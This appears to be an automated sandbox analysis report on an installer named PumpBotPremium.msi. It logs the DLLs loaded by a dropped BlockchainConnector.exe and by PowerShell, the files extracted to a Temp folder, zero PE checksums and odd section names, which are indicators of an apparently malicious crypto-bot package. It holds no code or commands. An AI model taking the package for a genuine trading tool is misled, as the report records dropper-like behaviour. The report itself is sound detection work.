              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: mfcore.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: ksuser.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: rtworkq.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: dpapi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: rasadhlp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: fwpuclnt.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptnet.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: webio.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{56FDF344-FD6D-11d0-958A-006097C9A090}\InProcServer32Jump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeFile written: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.iniJump to behavior
              Source: Window RecorderWindow detected: More than 3 window changes detected
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
              Source: PumpBotPremium.msiStatic file information: File size 63906816 > 1048576
              Source: Binary string: C:\ReleaseAI\win\Release\custact\x86\aipackagechainer.pdb source: aipackagechainer.exe, 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmp, aipackagechainer.exe, 00000003.00000000.1739187011.00000000002AE000.00000002.00000001.01000000.00000003.sdmp
              Source: Binary string: D:\a\opencv-python\opencv-python\_skbuild\win-amd64-3.7\cmake-build\lib\python3\Release\cv2.pdb source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D76A75000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: D:\_w\1\b\bin\amd64\python3.pdb source: BlockchainConnector.exe, 00000007.00000002.1903815403.0000019A0A0E0000.00000002.00000001.01000000.00000010.sdmp
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00237530 LoadLibraryW,GetProcAddress,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,LoadImageW,FreeLibrary,3_2_00237530
              Source: _MD5.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0xf0c8
              Source: _SHA1.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x9f02
              Source: _mt19937.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x19d5b
              Source: _scrypt.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0xdb79
              Source: QtGui.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x26ba90
              Source: sip.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x28c77
              Source: pythoncom310.dll.4.drStatic PE information: real checksum: 0x0 should be: 0xa906f
              Source: mtrand.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x90fe9
              Source: _Salsa20.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0xe31f
              Source: _cffi_backend.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x38dc3
              Source: _raw_ctr.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0xe14e
              Source: _raw_cbc.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0xd981
              Source: _philox.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x1f360
              Source: _ghash_clmul.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0xf9cb
              Source: _rust.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x66978e
              Source: _multiarray_umath.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x2dc308
              Source: _imagingcms.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x40e07
              Source: _umath_linalg.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x2df0e
              Source: _generator.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0xae69c
              Source: md__mypyc.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x22c3d
              Source: _raw_aes.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x10e4f
              Source: _BLAKE2s.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x10e8d
              Source: _cpuid_c.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0xe7b0
              Source: _raw_ecb.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x4fa5
              Source: _multiarray_tests.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x21dfc
              Source: _pcg64.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x23bc6
              Source: _raw_ocb.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0xdbb7
              Source: pywintypes310.dll.4.drStatic PE information: real checksum: 0x0 should be: 0x26a6c
              Source: _pocketfft_internal.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x24610
              Source: _webp.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x89cd9
              Source: _raw_aesni.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0xec86
              Source: _common.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x374d8
              Source: _imaging.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x257081
              Source: _raw_cfb.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0xbbc3
              Source: _strxor.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x7233
              Source: bit_generator.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x365da
              Source: win32crypt.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x2ba12
              Source: _raw_ofb.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x4a09
              Source: _bounded_integers.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x434b9
              Source: _ghash_portable.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x9a05
              Source: md.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x50be
              Source: _brotli.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0xd0a91
              Source: _raw_eksblowfish.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0xcfa2
              Source: _psutil_windows.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x1f10a
              Source: QtCore.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x260d34
              Source: QtWidgets.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x4e36b6
              Source: _imagingft.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x1a8a9d
              Source: _SHA256.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x56a0
              Source: aipackagechainer.exe.2.drStatic PE information: real checksum: 0xda46d should be: 0xda93c
              Source: _sfc64.pyd.4.drStatic PE information: real checksum: 0x0 should be: 0x13204
              Source: BlockchainConnector.exe.2.drStatic PE information: section name: .eh_fram
              Source: BlockchainConnector.exe.2.drStatic PE information: section name: .xdata
              Source: BlockchainConnector.exe.4.drStatic PE information: section name: .eh_fram
              Source: BlockchainConnector.exe.4.drStatic PE information: section name: .xdata
              Source: libcrypto-1_1.dll.4.drStatic PE information: section name: .00cfg
              Source: libssl-1_1.dll.4.drStatic PE information: section name: .00cfg
              Source: msvcp140.dll.4.drStatic PE information: section name: .didat
              Source: python310.dll.4.drStatic PE information: section name: PyRuntim
              Source: qt5core.dll.4.drStatic PE information: section name: .qtmimed
              Source: vcruntime140.dll.4.drStatic PE information: section name: _RDATA
              Source: opencv_videoio_ffmpeg490_64.dll.4.drStatic PE information: section name: .rodata
              Source: opencv_videoio_ffmpeg490_64.dll.4.drStatic PE information: section name: .xdata
              Source: libopenblas.EL2C6PLE4ZYW3ECEVIV3OXXGRN2NRFM2.gfortran-win_amd64.dll.4.drStatic PE information: section name: .xdata
              Source: libopenblas.EL2C6PLE4ZYW3ECEVIV3OXXGRN2NRFM2.gfortran-win_amd64.dll.4.drStatic PE information: section name: /4
              Source: libopenblas.EL2C6PLE4ZYW3ECEVIV3OXXGRN2NRFM2.gfortran-win_amd64.dll.4.drStatic PE information: section name: /19
              Source: libopenblas.EL2C6PLE4ZYW3ECEVIV3OXXGRN2NRFM2.gfortran-win_amd64.dll.4.drStatic PE information: section name: /31
              Source: libopenblas.EL2C6PLE4ZYW3ECEVIV3OXXGRN2NRFM2.gfortran-win_amd64.dll.4.drStatic PE information: section name: /45
              Source: libopenblas.EL2C6PLE4ZYW3ECEVIV3OXXGRN2NRFM2.gfortran-win_amd64.dll.4.drStatic PE information: section name: /57
              Source: libopenblas.EL2C6PLE4ZYW3ECEVIV3OXXGRN2NRFM2.gfortran-win_amd64.dll.4.drStatic PE information: section name: /70
              Source: libopenblas.EL2C6PLE4ZYW3ECEVIV3OXXGRN2NRFM2.gfortran-win_amd64.dll.4.drStatic PE information: section name: /81
              Source: libopenblas.EL2C6PLE4ZYW3ECEVIV3OXXGRN2NRFM2.gfortran-win_amd64.dll.4.drStatic PE information: section name: /92
              Source: _imagingft.pyd.4.drStatic PE information: section name: _RDATA
              Source: cv2.pyd.4.drStatic PE information: section name: IPPCODE
              Source: cv2.pyd.4.drStatic PE information: section name: IPPDATA
              Source: cv2.pyd.4.drStatic PE information: section name: _RDATA
              Source: cv2.pyd.4.drStatic PE information: section name: .debug_a
              Source: cv2.pyd.4.drStatic PE information: section name: .debug_i
              Source: cv2.pyd.4.drStatic PE information: section name: .debug_s
              Source: cv2.pyd.4.drStatic PE information: section name: .debug_l
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00244444 push esi; ret 3_2_00244447
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0027CEA4 push ecx; ret 3_2_0027CEB7
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_030E43B0 push eax; ret 11_2_030E43C3
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_030E4178 push eax; ret 11_2_030E43C3
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_030E6092 push 9000005Fh; iretd 11_2_030E6121
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_030E6A7A push esp; ret 11_2_030E6A83
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\_philox.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\charset_normalizer\md.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_cffi_backend.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Hash\_MD5.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\tk86t.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\vcruntime140.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_socket.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Hash\_ghash_portable.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\psutil\_psutil_windows.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Hash\_ghash_clmul.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\bit_generator.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\.libs\libopenblas.EL2C6PLE4ZYW3ECEVIV3OXXGRN2NRFM2.gfortran-win_amd64.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Hash\_SHA1.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_queue.pydJump to dropped file
